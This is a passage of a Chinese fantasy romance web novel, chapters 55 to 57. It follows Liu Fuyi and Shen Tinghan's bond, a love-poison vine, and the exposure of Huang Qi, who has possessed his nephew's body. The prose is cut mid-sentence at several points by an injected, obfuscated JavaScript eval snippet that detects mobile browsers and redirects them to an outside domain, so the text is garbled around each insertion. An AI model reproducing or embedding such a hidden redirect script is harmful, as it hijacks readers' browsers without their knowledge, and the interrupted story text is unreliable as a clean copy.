她不知跪了几个时辰,膝盖已经发软,扶着一旁的药炉慢腾腾地直起身子,双腿却仍然屈着。 铜色的药炉沾上她的鲜血,沈听寒只觉得麻烦又碍眼。 衡阳简单嘱咐几句有的没的便甩身走人,屋内又只剩下这对小冤家。 沈听寒于榻上落座,眼中似乎没有柳伏意这个人,也根本看不见她手上为他而受的伤。 一室光影交错,光亮与晦暗再辨不出明晰的界限。 柳伏意慢慢地挪着步子,时不时呲着牙“嘶哈嘶哈”缓解疼痛。在靠近软榻半寸之处,脸上挂着单纯的邪笑,蓄力跳远纵身一跃在他身旁躺下,两只血淋淋的手就举在沈听寒面前来回晃荡,生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266016|178619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕他看不见。 “你干嘛老对我这么冷冰冰的,我又没得罪你。” 她昂着头,盯着沈听寒沉郁的表情,饶有兴致地等待他的回应。 “所有人都得喜欢你么?” “可你也没有理由讨厌我啊。” 屋内照旧是一阵长久的静默,半晌后,柳伏意见沈听寒这人没趣,便自然而然地到处摸摸看看。 药师堂的珍稀药草她大多都没有见过,当着沈听寒的面儿嗅嗅,亦或是趁他不注意咬一口尝尝味儿,不好闻再当他面吐了。 于是一番折腾过后,沈听寒的软榻上、桌案上、花瓶上,四处都是她留的血手印。 沈听寒言辞精简,眼刀一扫而过,语气更加不耐:“左边数第三个格子,治外伤的药。” “可是我腿跪得好疼,走不动。” “就五步。” “半步都走不动。”她温然笑着,故意觑着他的脸色,试探之意昭然若揭。 ? 什么灵剑派的天才,什么品格极佳少年模范。她就是个无赖吧?死缠烂打,生拉硬拽。 比起和她纠缠不休,沈听寒倒更愿意快点替她上好药打发了她。 “你嘴上说着讨厌我,上药倒是很用心。”她眸光潋滟,映出橙黄温和的烛火色。 衡阳下手很重,柳伏意手掌中皮肉绽开,创面又大又混着破碎的木屑。他只能一点点替她清洗上药,药膏敷在裂口处有如伤口撒盐,痛得人撕心裂肺。 而柳伏意面不改色,始终淡淡地噙着笑。 “你是故意放我走的?”沈听寒问。 “对啊。不然谁没事干往药师堂跑,四面八方都是禁制,麻烦的很。”她露出一排白牙,笑得张扬明媚,又挨近了些,“你生来体弱又不是你的错。师父把你捡回来,又不传授你技艺,成天将你锁在屋里,杀灵兽,试药,你变成怎样变扭的个性,都是师父没教养好你。” 闻言,沈听寒一掀眼皮,长睫垂下的阴影掩住他眼中森然的寒意。 “我变扭?” “我哪里变扭?” “是他的错又如何,难不成他会妥协放我出去?” 他愈加紧逼,而柳伏意不接话茬,用肩膀撞向他:“我既然能钻狗洞进来,你也能钻狗洞出去啊。你看,我带你逃跑这么大的事儿,师父也只责打了我,其实他还是很疼你的。” 沈听寒勾唇不语。 这丫头明贬暗褒,分明是来给衡阳当说客的。 白给她上药了。 就该狠心些,疼死她算了。 “如果师父真的疼我,我大约就不会缺五色草了。”他故作深沉地哀叹一声,扶着心口佯作气血不足,动辄就要咳血。 沈听寒唇边染着血迹,冰凉无温的手牵住柳伏意的手腕,每一句话都温言软语,勾着她为他上山下海。 “听说五色草很难得,生长在清缈峰的一处深谷中,和蛇莲相伴而生,从发芽到长成都有异兽镇守。寻常的弟子轻易拿不到这等灵药。” “嗯哼。” 柳伏意坦然直白的眼神看得他心里发虚,很快将这话题岔过去。 “天色不早了,你早些回去吧。” “好~我明日来找你换药。” “不必。” “就要。” “……” 55. 缠心藤(十五) 雷云驱散浮云白日,无边落雨形成一片朦胧雨幕,冲刷着药师堂陈腐古朽的门扉与砖石。 沈听寒听雨品茗,坐在支起的明窗前,淡淡掀了掀眼皮。 他估算着,那个讨人厌的家伙今天大概是不会来了。 药师堂内围炉煮茶,橘皮在文火的炙烤下透出丝丝酸甜气味,若隐若现的星星炭火炙干侵入屋内的水气。 摇椅悠悠,身上的大氅透出好闻的花果香,他将要在这样温暖恬静的氛围中入眠。 “沈听寒~我来找你换药啦。”来人声音明亮昂扬,伴随着她轰地一声把门踹开,逼人的寒意与潮湿都随她一道涌入屋内。 沈听寒闭目不愿睁眼,然而英气的双眉已然拧成一股绳。他听着耳边细碎的声响,猜着柳伏意在他桌案上放下了一个包袱,随后脚步轻轻,慢慢停在他面前一丈之地。 盘腿坐下,甩了甩头发。 雨滴甩落到他手背。 “今天雨下的这样大,我以为你不会来了。”沈听寒睁开眼,猜忌和阴冷没有丝毫的收敛。他舌根抵着后齿,笑容俊美,却拒人于千里之外。 面前尚且稚嫩的仙门翘楚全然没有大女子能顶天立地的情态,并非说一不二、雷厉风行,她柔和又好接近,所有的情绪都写在脸上。 明亮的双眼宛如含星。 沈听寒的目光从她笑意盈盈又掩不住疲惫的脸颊上转移到她手臂和全身,一身烟青色的窄袖袍沾着浸透雨水的污泥,手上旧伤未愈又添新伤。 他想起来什么,起身走向他的桌案,翻开那个干燥洁净的包裹,拆了连续三个外包才露出里面用锦盒装载好的宝物。 五色草。 满满一盒的五色草。 他转身重新打量柳伏意的伤,衣袍划破了,手臂被擦伤,血痂尚且没有凝好。成片的伤口不像是训练伤的,倒像是从山崖上滑下去,被四周奇绝的怪石碰撞割裂的。 “今天下大雨,你还去采五色草,你找死吗?”他丹田翻涌,喉腔中便翻滚着血意。 沈听寒脸上流露出不解和愤懑,恨不得把那锦盒摔在她面前摔个粉身碎骨。 她这是干什么?怜悯他?炫耀自己上山下海无所不能? 她越是出手相助,他就越觉得自己的人生自小禁锢在药师堂之中阴暗又无用。他想要前途,想要自由,想要一切艳羡的目光也落在他身上。 而不是同情和与之而来的让步。 读出他晦暗眼眸中的万般情绪,柳伏意一触即发的怒火稍有平复。她坐在地上长呼了一口气,扯了扯他的衣摆示意他坐下。 “我想,你既然开口了,应该是真的需要吧。”她起身,第一次对沈听寒露出凶悍的神色,“我拿你当我的朋友,看得起你,才会帮你顶着大雨去悬崖边采药。” 她迈步靠近他,哪怕浑身淋湿,散发而出的依旧是一股由内而外的暖意,融化他数年来慢慢郁结的寒冰。 “听说你脑子很好,研习医术一点即通,药王谷李广白前辈甚至能医活死人追魂索魄,你怎么知道□□上的病痛治愈不了?”柳伏意提了提眉梢,“我靠近你,是觉得你与我同病相怜。” 闻言,沈听寒面色阴郁,搜肠刮肚找不出一点柳伏意身上的不堪。 沉默片刻,身影错落,他拉住柳伏意从他身旁擦过的广袖,将她扯回来按在软椅上坐下,随即熟捻地走到一墙灵药之下摸出几个小巧的药罐子。 青绿的裙摆盛放如花,她安安静静地坐着,看他弯着腰细心替她上药。 说不出哪儿不对劲,总之……有些尴尬。柳伏意张了张口,终究还是出言安慰,打破二人之间降至冰点的寂静。 “你也不用把师父的话放心上,他只是年纪大,其实对医术一窍不通。治不治得好,他说了不算。” “……我知道。” 沈听寒手脚麻利地将她的伤口包扎好了,便往后连退好几步。 “谢谢你的五色草。”他身板笔挺,尊严让他依旧昂着头,他猜测仰头就不会让对面这个小丫头看到他眼里的失落和难过。 其实她自下而上,将他眼眶里的那点晶莹看得一清二楚。 “明天如果天气好,太阳落山时你来比武场找我玩吧。” 柳伏意起身往外走,脚步没有停顿,最后一句话扔在风里,席卷了药师堂内的一片苦楚。 “你要是来了,我背你上悬崖采五色草。” 等沈听寒回过神来,那道青绿色的身影已经消失在了连绵的雨幕里。 “……好。” 翌日,他如约而至,彼时衡阳心血来潮举行了一场加练。柳伏意作为他名下天赋最佳的孩子,无论是剑招还是体力都必须出类拔萃。 衡阳手中握着一根去了刺的荆条,一排十个人,柳伏意站在最前头。不知道练了多久,双腿已然发颤,手上的动作也略有变型。 平刺不够平,上挑不够快。 她额前滑落汗珠,喘气的幅度越来越大。衡阳好似看不见她的力竭,凡是动作不到位,就是毫不留情的一荆条抽过去。 太阳落山的时刻,残阳如火坠在天边。柳伏意摔倒在师兄弟面前,痛得眉头紧皱青筋暴起。 “这么简单的动作都做不到位!练!基本功都不扎实日后怎么学剑法,再偷懒耍滑你简直就把自己的天赋浪费了!”衡阳气得不行,甩手荆条便脱手而出。 一旁十五岁的师姐终于寻到空子将衡阳拉开,顺了顺他的暴脾气:“师父,伏意还小呢,更何况您前两天才打了她,手心的伤还没好,动作变形也是正常的……” 师姐话音未落,衡阳便已经把柳伏意扶起来,他的灵力如沐春风,游走过她全身。 “伏意,你不要怨恨师父。你根骨绝佳,一路稳扎稳打,迟早会青出于蓝。你任何一个阶段都不可以耽误!”衡阳揉着她的肩膀,他半跪着,柳伏意不过就他蹲下来那么高。 她倔强地吞下眼泪与哽咽,长长地舒了一口气,将心底的畏难通过张弛的呼吸排遣。 “我明白,师父,我一定不会辜负您的期望。” 衡阳点点头,重新盯着她的一举一动。 一直到夜色降临,她才算是练完一天的基础动作。强撑着等所有人都离开练武场了,她便像一口气儿散了,猛地栽倒在地上,老半天起不来身。 她练了多久,沈听寒就看了多久。 他迈步走出郁郁葱葱的树丛,变扭地停在她身边,听她大口地给自己顺气,望天又望地,终于可以理会她的那句同病相怜。 他是药师堂中的困鸟,困在一亩三分地无法翱翔。 而她是担着责任的出巢鸟,永远只能在规定的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285323|178619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 范围内飞行。 “你想下山吗?”他问。 柳伏意睁开眼,仿佛能感觉到浑身血液正在流淌奔腾。她泄了口气,想起那个师姐口中繁华美妙的渝州城,暗暗失落:“想啊,但谁让我已经入仙门了,可能以后也有机会吧。” 她说完,盯着沈听寒的下巴出神:“你还真来找我了?” 沈听寒坐在她身边,语调悄然变得柔和:“你不是说背我上悬崖玩么?我没见过,挺期待的。” 听他这样说,柳伏意还怪不忍心的,怎么就偏偏今天被一顿练,浑身肌肉痛得发酸。 “你看我这个样子,不怕我摔死你吗?”她哪怕开玩笑,都透着一股精力被耗尽的疲惫。 沈听寒那张春风和煦的脸上首次挂了笑,起身在她身前蹲下,语调温然,轻声细语:“那换我背你吧。” “?” “你转性了?” 话虽如此,柳伏意并不和他客气。于内敛的人而言,蹲下的这一个动作就足以耗尽他的勇气。 她趴在他身上,嗅到他脖颈间的冷香,绵绵的暖意从他的大氅过渡到她身前。 他拖着病体,一步步将她背回药师堂。 柳伏意一路上一语不发,老实地伏在他背上,替他一起揪着心。 好不容易迈进药师堂,他将她放下,气喘吁吁大汗淋漓。他抬眼,面前灰扑扑的女孩儿笑容灿烂,同他说:“你不仅钻了狗洞,还将我背回来了,好厉害。” 沈听寒红了红脸,不自然地把脸瞥向一旁,声音细如蚊虫叮咛:“厉害什么……” “你从前一直没试过倘若出了门能走多久吧?我也不算轻,你却能背着我上山来,你的体力很好。有没有可能……所谓的生病,是你自己憋的?”她仰着脸,往他身旁凑了凑。 衣物相触发出响动,沈听寒的目光才转了一大圈落到她身上。 柳伏意笑容更深,卷过面前的凉茶来一饮而尽,顺手揉着自己两条发麻无力的腿,道:“其实你还挺可爱的。” 沈听寒照旧挑眉不解:“可爱?” “明明也是渴望有人和你做朋友的,干嘛板着脸把人吓跑啊。君子坦荡荡~”她逗弄几句,沈听寒也不跟她计较。 两人之间的气氛又平静下来,柳伏意才叹了口气,卸下一整天的包袱:“你的存在是很有意义的。” 夜风呼啸,冲撞窗纸,灵植在不知不觉间生长,一如某处静谧之地,友谊的种子自此埋下,只待一番心血浇灌滋润,春风一吹拂,满心便生根。 沈听寒瞳孔略微震颤,烛火猛然跳动,他勾着嗓音,说不清的慵懒傲然:“哦?我怎么感觉不到。” 他从数不清的药柜中拿出合适的那部分药膏,放在锦盒里递给她:“缓解疲劳的,也有治外伤的,别把自己弄的这么狼狈了。” 柳伏意尽数接过,歪了歪唇:“我没说假话,有你在我才不孤独呀。” 沈听寒闻言却是笑了,往后一靠将满墙的药罐撞得叮当作响:“你朋友那么多,少我一个也没什么差别吧?” 面前的女孩秀眉一拧,露出不合年龄的一抹失落。 “孤单和孤独是两个意思。” 沈听寒沉默半晌,见她一声不吭地服下他给的药,背过身去掩住了自己的表情。 “我知道了。” 56. 缠心藤(十六) 柳伏意没有食言,她御剑带他上悬崖看风景,那处少有人迹、风景秀美的断崖,便是他们二人共同的秘密去处,拥雪崖。 其后沈听寒更是摸不清自己什么时候将她放在心坎儿上。 她十一二岁时惯想逃避练功,有事儿没事就往药师堂跑,今儿个偷泻药吃,明儿个甚至偷毒药吃。 师父若有不公,她便拉着沈听寒打掩护,一时气恼非要去拔衡阳的胡子。 这不是太岁头上动土,找死么? “我才不去……” 话虽如此,架不住她软磨硬泡,如今心情畅快了,连带着身体也好了不少。他亲眼见着柳伏意拔掉师父一根胡须,痛得衡阳当场暴走。 两位倏忽间被衡阳的暴起怒喝吓到炸毛,柳伏意急忙给沈听寒投去一个暗示的眼神。 他无奈翻了个白眼,速度极快地倒地不起,装死大法炉火纯青。 “师父,都是你不好,师兄身子这么差就想到处冒险玩玩儿,你还吓唬人。一根胡须还有人命重要吗?” 十几岁的年纪,拙劣的谎言,越来越近的感情。 衡阳却是笑了,挥了挥手,赶走两个烦人精。 空无一人的禅房之中,衡阳看着打打闹闹离去的两个背影,目光落在那个愈加高挑的少年身上。 他身上衣物的颜色从玄黑色变为深蓝色,如今却是混进了不少的青绿。 衡阳揉了揉刺痛的下巴,摇头失笑道:“真是一物降一物啊。” 类似的事情还有许多,沈听寒人生的前半段都少不了柳伏意。 ——“我真不想练剑了,我好羡慕你啊……从小到大都是需要考笔试。” ——“你上次从我这里偷毒药逃避练功,师父连我一起罚了。而且你拿我做了太多次借口,师父现在已经不相信我身体弱了。” ——“你还别说,你好久都没咳血了。” ——“我今天会下山采药,你老实练剑,我带粽子糖给你吃,好不好?” ——“那好吧。” 段段回忆如碎片从他脑海中闪过,拼凑出数不清的“我喜欢你”。欲念一瞬如翻江倒海,将他的理智全盘击碎。 缠心藤似乎摸到他的心,并在其上扎根,不断试探他的真情。 从小到大,从陌生到爱的无可救药不可自拔,每一个瞬间都仿佛镌刻在他心里。 随着缠心藤毒性的加深,柳伏意身边每个人的样貌也更加深刻。沈听寒艰难地从难耐的欲望中维持神思的清明,察觉到平日温柔和煦的外表下潜藏的、凶猛又疯狂的占有欲。 她先闯进他的世界,他的一切都抹不开她的痕迹。 “你们的命运,可以通过我,长长久久地联系在一起……” 缠心藤妩媚的女声回荡在他心里,藤丝在他血管中不安分地乱动,使得他浑身的血液瞬间燥热起来。 这一遭过去,不过才是寅时。 屋内漆黑无比,月华清冷照出满室静默。 沈听寒坐在榻上静静垂着眼,微弱的月光映在他眸中化为一汪清浅莹蓝的海。 他勾唇冷笑,按住手腕处隐隐的躁动,俊美无俦的脸上显露出久违的几许阴鸷狠辣。 一夜无眠。 “哎,今天起这么早?饭都做好了。”阮长风与玄易伸了伸懒腰,来回春派才几天,他们就已经习惯了每日早晨起来陪沈听寒准备早膳。 此时他正一言不发地盯着药膳的火候,随便抬了抬眼,算是对阮长风和玄易的回应。 二人并不客气,见差不多菜都备齐了,便高声喊了柳伏意和顾元香的名字。 五人齐聚于桌上用膳,柳伏意似乎更加依赖沈听寒,每时每刻都要跟他黏在一起。 顾元香瞧了,将那句听来的传闻再重复了一遍:“中了藤花毒,会把男人当做活下去的养分……还是尽快找出树是谁,给师姐解毒吧。” 什么毒不毒的,柳伏意像是听不见这个词儿似的,对沈听寒又是夹菜又是夸赞,眼中全然没有其余三个人的存在。 平日里的柳伏意是个什么个性,大家再清楚不过了。面上一派正经,其实心思简单人也活络,秉持着多说多错的信条,遇到天大的事儿也只是皱皱眉。 清冷矜贵的世家之风跃然纸上。 而如今,她却是放下身段,简直将自己的形象毁于一旦。 她但凡说一句情话,更凑近沈听寒,其余几人便免不了笑一笑。 一顿早膳用完,顾元香等人已经习惯她现如今中毒后的做派,甚至唯恐天下不乱,故意挖坑给她跳…… “你还记得相思树吗?当时你在木牌上写的是自己的名字,如果……”顾元香话音未落,柳伏意已经朗声笑着应了上去。 “当然留听寒的名字呀~” 玄易与阮长风揽了洗碗收拾的杂活,由沈听寒顾元香盯着柳伏意把调理身子恢复元气的补药喝下去。 此事本简单得很,谁知她中了藤花毒后却像是被三流情爱话本荼毒了一般,又是要喂又是要哄的。 顾元香强忍着揶揄的笑意,抬头撞见沈听寒眉头微皱,一双深邃无波的眼里荡漾出涟漪。 他一点都不为此欣喜。 如今的柳伏意就像是缠心藤炮制出来的一个哄他开心的玩偶,仿照其他男子心动的女子模样,让她尽可能地低下身段,尽可能地撒娇卖乖融入风尘。 哪怕只有他们五个人待在一起,哪怕只有三人在笑,她的眼底仍然是一片挣脱不得的难堪。 她说的做的,都言不由衷。 …… 夜半子时,屋内静默无声,只余心脏不断撞击胸膛发出的沉闷响声。沈听寒浑身的血脉都若有似无地发痒发痛,以至于他躺不下身,只能倚着冰冷的灰墙,盯着房内挂着蛛网的横梁思绪翩飞。 皮肤上传来的冷冽将他的情绪拉至冰点。 他被迫想起从前的种种不安、焦躁、怨恨,五内俱痛,不断咀嚼着缠心藤蛊惑他的那些言语。 “没有人在乎你,而我是唯一你可以支配的神力。你儿时的愿望不就是杀了那些看不起你的家伙吗?” “你看黄渊,有了我的力量,他才能在回春派中站稳脚步。” “反正也无人知晓你我的关系,你害怕什么呢?” “你这么喜欢她,你爱她,你甘心让她解了毒从此对你若即若离彬彬有礼?” 沈听寒扶着心口,感受着撞击他手掌的、蓬勃的,不属于他的心跳。 每一提起他心里珍视的人,就能轻而易举地让他的伪装瞬息间溃塌。 沈听寒勾了勾唇,他用灵力往自己手腕上探去,灵力顺着血脉滋养藏在他血管之中的妖藤,从头到尾,游遍全身。 四下俱静,他终于回应了缠心藤的诘问,每一句都透着按捺不住的疯狂和轻蔑。 “你以为我看见她因为藤花言不由衷地追捧我狂恋我我就会心满意足吗?” “她那么窘迫,她的眼睛好难过。” 沈听寒冷然嗤笑一声,伴着薄凉皎洁的月光,双指轻缓地来回抚摩着手腕处的藤环,为自己剖白。 “我的一切都是假的。我从来就没有温柔过,我还是从前那个残忍、自私、阴暗、冷血的人。” “人的本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“这碗汤药……是树的血!?”顾元香大惊失色,不自觉地望向沈听寒的房间。 他什么时候被缠心藤算计到还上了身,他们竟全然不知? 藤花抽出,连带着柳伏意心上的血气都被扯出不少,她的面色极迅速地发白,直到藤花在她掌中由鲜红的血色变为枯黑。 柳伏意握拳碾碎满掌的藤花,花瓣没了人的血气供养霎时间化为烧尽了的纸屑,一翻手掌,星星点点地飘散在风里。 柳伏意回头望了一眼沈听寒的房间,一连三日他都没有点过灯,三日里却每顿药都不缺她的。 他身体那样弱,这些天他得有多难熬? 柳伏意起身来到他房门口,望不见房中的景象。她低声问道:“沈听寒?我能进来吗?” 屋内适时传来他的回应:“不必了,天色已晚,你们都回去休息吧。” 阮长风玄易与顾元香早就找了个犄角旮旯自己找事儿干,否则三道目光齐齐盯着他俩,只会让他们更加难以宽心。 柳伏意自然不会听沈听寒的敷衍,他话音刚落,她便一脚将门踹开了。 屋内的景象让她不由瞪大了双眼,倒抽了一口凉气。 随处可见的血迹将这间小屋涂抹成一处无言的魔窟,榻上大片的血渍讲明了这短短三两天,他所受的折磨。 柳伏意的脚步仿佛有千斤重,她听见沈听寒言语淡淡的:“怎么还是随随便便就闯进来啊。” 他眼下青黑一片,始终带着笑意的脸上此刻连睁眼都有些吃力。 “你以为我会感谢你吗?” 57. 缠心藤(十七) “沈听寒,你以为我会感谢你吗?”柳伏意攥着拳,呼吸变得无比沉重。 沈听寒一惯温柔的伪装在她面前破碎,露出里头常年阴郁的真我。他淡淡垂着眼睫,眼中一切都无比的冷漠。 “另一棵树,就是黄渊。”他长呼出一口气,背过身去将身子蜷缩在一起,以抵挡浑身各处的疼痛,“等你解决了这些事,你想谈什么我陪你慢慢聊。” 缠心藤狡猾,养藤放血已经耽误了三天,怕是被它再钻个空子只会更加难寻。 柳伏意难以平息怒意,却是不敢耽搁除妖大计,转身走人,每个字都掷地有声:“你好好的,等我回来。” 屋外的三人见了,自发地跟在她身后。柳伏意一路蹿房越脊他们跟不上,好在阮长风知道黄渊的居所,直奔他而去中途也没浪费什么时间。 他们赶到的时候,一室杂乱,黄家的众位弟子将柳伏意团团围在中间,碍着她手中那把寒芒乍亮的神剑不敢贸然靠近。 而黄渊已经被揍的面目全非,双眼肿着,额前破了不小的伤口,鲜血流淌过他整个面庞。 柳伏意毫发未损,拧着黄渊的衣领,口中默念几句咒文,袖中便飞出一根捆仙锁将他五花大绑。 她回头,正好撞见气喘吁吁赶来的几人。 “带回栖山阁。”她冷声将黄渊丢给阮长风玄易,转而对其余弟子道,“把三大世家的人都叫来,我有话要说。” 她一甩袖,盛然的灵力将周围一圈弟子打翻在地,无人有能力阻拦阮长风玄易的去路。 栖山阁正厅之中已经许久无人烟,满墙灵位前也有几日无香供奉。 不消半个时辰,三大世家的话事人齐聚一堂,高堂之上,年纪尚轻的天命剑主持剑以待,英气逼人,威严无比。 陈青黛见黄渊被绑着,大致已经猜出事情的始末。她抱臂心情颇好地立在一旁,打量着楼黄两家家主的神色。 缠心藤被毁,他们不会毫不知情,只待如何在这位清律长老面前掰扯掰扯,将自家的祸事给摘出去便是了。 阮长风扫了一眼各家主的神色,楼家家主楼平似乎是早已做好打算弃车保帅,一脚将楼文踹了出来。而黄家黄振却是舍不得黄渊这个儿子的,似乎是想尽办法先保住他的命。 不用阮长风提醒,柳伏意根本无暇去听这群人精如何逃脱罪责。她面容冷峻,逼人的寒意和压低的眼眉不由让在场的人都心惊胆战。 这位剑主的实力,早在宗门大比那天便是有目共睹。若说刚来回春派时还病弱,面色不佳,此刻似乎已然大好,重又成了清净峰那位说一不二的冷面长老。 “不必各位多说,听听黄渊自己怎么解释吧。”她念出真言咒,强大的灵力加诸于黄渊身上犹如根根烙铁割开他肌肤,每一寸伤痛都深入骨髓。 黄振见黄渊疼得满地爬,当即拔了剑要冲上去,不待靠近半步,天命剑便飞剑而出抵住了他的咽喉。 再往前一毫,便能刺穿他脖颈。 黄毅眼见老爹被威胁,怒然唤出法器,叫嚣道:“你这小丫头,这儿是我们回春派!!黄家的地盘!你不要命了!” 柳伏意挥手一道灵光,天命剑立刻布了满室万化剑阵,每人头顶上都悬着一把威势极强的灵剑化身。 “不是说天命剑废了吗……”陈青黛小声与张通天耳语。 “谁知道啊,看上去跟以前也没差啊?” 柳伏意没心情去管他人如何作想,转而看向地上几乎窒息的黄渊。她默然加力,栖身于黄渊血管之中的那条细密的藤丝便主动从他身体中爬出。 一根已有灵智的白藤,根根藤丝都已有自己的驻地,心不甘情不愿地脱离宿主,连扯带拽地弄下来他身上不少的皮肉。 藤丝被困在剑阵之中顿时瘫成一堆了无生气的线团,众人惊呼过后,才真正地安静下来。 “说啊,黄渊,事情的来龙去脉都交代清楚。”柳伏意的话辅以真言咒,成了黄渊无法回避无法逃脱的梦魇。 他痛到极致,说话语调颤抖着,双目却前所未有的清明。那里头写满勃然的恨意,带着群山千川即将崩塌的疯狂与爽利。 “好啊,缠心藤都被你弄死了,我还有什么不好说的!”黄渊被折磨的大汗淋漓,碎发黏在额前没有一丝体面可讲,但提到事情的真相,他却拼尽全力坐直了身子,目光直勾勾地盯着他祖父黄明。 黄渊勾了勾嘴唇,脸上的油腻荡然无存,取而代之的是一抹不和年岁的狠厉:“缠心藤起初是我在楼家发现的,我什么都不是,无权无势。我做梦都想搞死黄毅踩着他的尸骨上位,如果可以我想把黄振也弄死,让黄家那帮老不死的看看我有多能干~” 顾元香顿时有些懵了,掰着手指开始算黄家的辈分。 “我要是没记错的话,黄明是他祖父,黄振是他爸吧?哪有儿子想把亲爹都弄死的啊。”意识到自己在说什么,顾元香很快缄口不言沉默许久。 黄渊貌似回味,轻笑一声尽显不屑:“这种执念唤醒了缠心藤,后来我发现缠心藤需要人的执念来修炼,只有不断拿人来喂养它,它才会越来越强。于是我编造出舔狗传说,除了带着缠心藤的我,其余所有男男女女,都会成为它生长的养料。” 说到此处,他大笑起来,眼角流出两行清泪,和他癫狂的状态极为不符。 “可我是真心喜欢倪黎的,本来她在我身边一直待着也不会死……可惜啊,她发现了我的一个秘密。” 黄渊狠辣的眼神猛然扎向陈青黛,让她陡然想起了倪黎留给她的那封信。 所谓鱼目混珠,究竟是个什么意思? 黄渊笑容更深,盯着黄振道:“你还以为我是黄渊吗?哥哥?” 一语即出满堂哗然,唯有灵剑派几个外来人搞不清楚状况。 玄易适时站在柳伏意身后补充道:“老家主黄明曾经有两个儿子,大儿子黄振,还有一个小儿子叫黄岐,从小心术不正害人无数被赶出家族了。” 黄振双目血红,登时无视喉间那把威胁他性命的灵剑,猛然迈步上前抓住了黄渊的衣领。 “你是黄岐!?我儿子呢!?” 若非柳伏意收剑及时,他被生生斩下头颅也不为过。 黄振已乱了心神,几个耳光抽下去黄渊的表情反而更加快活:“你打啊,这确实就是你儿子的身体,你舍得吗?” 黄振的怒意不得不搁置,心中吊着的气儿散了,倏尔往后一跌,指着黄岐的手都在颤抖:“你……你害我儿子做什么!?他何时得罪过你!” 黄岐歪了歪头,主动往前跪了半步凑在哥哥面前:“黄渊被我夺舍的时候才六岁,的确没有得罪我啊~但谁让我恨你,恨黄家呢?” 他笑容愈发大了,看见黄家人如何的不顺便是给他最好的奖赏:“要怪就怪你自己吧。黄家到处都是以权博弈,什么父子兄弟早就不作数了,可你教黄渊的是什么?家人~是最亲近的存在~家人永远不会害你~” “所以啊,我只告诉小黄渊我是他的叔父,他就乖乖地一声都没叫,心甘情愿地跟我走了。”黄岐觑着黄家几人的神色,忍着浑身密密麻麻的痛别提多么带感,句句都戳黄振心窝子,“要不是你!你儿子也不会死!” 黄岐转而看向老家主黄明,这个曾经把他扫地出门的父亲。 “你看中大哥什么呢?优柔寡断,妇人之仁,不像我!要是这灵剑派的死女人没来,回春派迟早是我黄家的囊中之物!” 黄岐起身来到黄明面前,比起和黄振交谈的游刃有余,在生父面前却还是忍不住含了哭腔:“我才是黄家最有出息的孩子!你凭什么从来都不认可我,还将我从族谱除名!!我就是要跟你证明,只有我才是黄家未来的指望!” 玄易无语地翻了个白眼:“能不能活过今天都不好说呢,还未来的指望……” 柳伏意不理会周遭的窃窃私语,修长的手指点了点一旁的古桌:“黄岐,你所犯的罪不止这些吧?倪黎到底是怎么死的?陈家长老和陈怀春的死,和你有没有关系。” 柳伏意话音刚落,黄渊的嘴就不受控制一般将心里话和盘托出。 “因为宗门大比我受了伤,倪黎便有了片刻的清醒,朝夕相处的这段时日她发现了我不是黄渊,我只能利用缠心藤弄死她。谁知她非 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黄岐跪向一个无人的方向,癫狂无状,撕心裂肺,将头磕的骇然一个血窟窿:“求老天开眼!劈死这帮不长眼的贱人!求老天为我黄岐做主啊!” 满室人头攒动,一时万化剑阵都有些控制不住人群的暴怒。 就在这时,柳伏意开口了,斩冰碎玉,冷若冰霜。 “好啊,求上天开眼?我满足你。” 正好她心底有一个猜想,偏要以身犯险试一试。 天命对她的维护早已超过一个剑灵对剑主的范畴,能让天命如此舍命的,或许就只有它背后掌控一切的天道了吧? 柳伏意默念咒文,以灵力加注黄岐周身,将她眼中黄岐的因果线在众人面前显化。 浑身的恶意化作刺鼻的恶臭,逼得众人不得不退避三舍逃去栖山阁之外。 柳伏意挪步立在栖山阁前,仰头望天。 顿时周天极雷,墨云翻滚,金色的雷电于云层中奔腾,似乎雷刑天罚就是她泄露天机的惩罚。 黄岐自知辩无可辩,冷笑一声闭口不言。 柳伏意倚着门框不苟言笑,雷云之中始终不曾劈下一道天罚,比起她差点身陨的那天根本是不值一提。 她睨着满天的假把式,索性更加过分,伸手将门前众人的因果线尽数化出:“我此行是为缠心藤而来,自然不会揪着你们陈芝麻烂谷子的事情不放。不过各位也看见了,做了什么坏事,都瞒不过天。” “希望下次我再来回春派,不是来杀你们其中的某个人。” 这话警告意味十足,三大世家不由退缩了些。跟着她的眼神同样抬头望天,一下泄露如此多的天机,雷罚几乎是避无可避。 